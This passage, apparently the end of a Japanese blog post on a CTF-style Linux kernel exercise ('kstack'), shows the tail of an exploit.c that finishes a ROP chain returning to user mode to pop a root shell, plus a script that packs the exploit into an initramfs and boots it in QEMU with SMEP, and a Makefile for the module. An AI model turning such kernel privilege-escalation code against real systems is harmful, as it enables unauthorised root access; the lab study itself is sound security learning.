257  *rop++ = user_rflags;
258  *rop++ = user_sp;
259  *rop++ = user_ss;
260  // pop shell
261  read(sfd, buf, 0x10);
262  return 0;
263}
264/****
265#!/bin/sh
266sudo rm -r ./extracted
267mkdir extracted
268cp ./rootfs.cpio ./rootfs_temp.cpio
269cd ./extracted
270cpio -idv < ../rootfs_temp.cpio
271cd ../
272rm ./rootfs_temp.cpio
273gcc ./exploit.c -o exploit --static -pthread
274cp ./exploit ./extracted/
275cp ./build/kstack.ko ./extracted/root/kstack.ko
276rm ./myrootfs.cpio
277chmod 777 -R ./extracted
278cd ./extracted
279find ./ -print0 | cpio --owner root --null -o --format=newc > ../myrootfs.cpio
280cd ../
281qemu-system-x86_64 \
282    -m 512M \
283    -kernel ~/buildroot-2020.02.5/output/images/bzImage \
284    -initrd ./myrootfs.cpio \
285    -append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet" \
286    -cpu kvm64,+smep \
287    -net user -net nic -device e1000 \
288    -monitor /dev/null \
289    -nographic
290# Makefile
291obj-m += kstack.o
292all:
293                make -C /home/wataru/buildroot-2020.02.5/output/build/linux-4.19.91/ M=$(PWD)  modules
294                EXTRA_CFLAGS="-g DDEBUG"
295clean:
296                make -C /home/wataru/buildroot-2020.02.5/output/build/linux-4.19.91/ M=$(PWD)  clean
297****/

アウトロ Link to this heading

次は kvdb でもやろうかな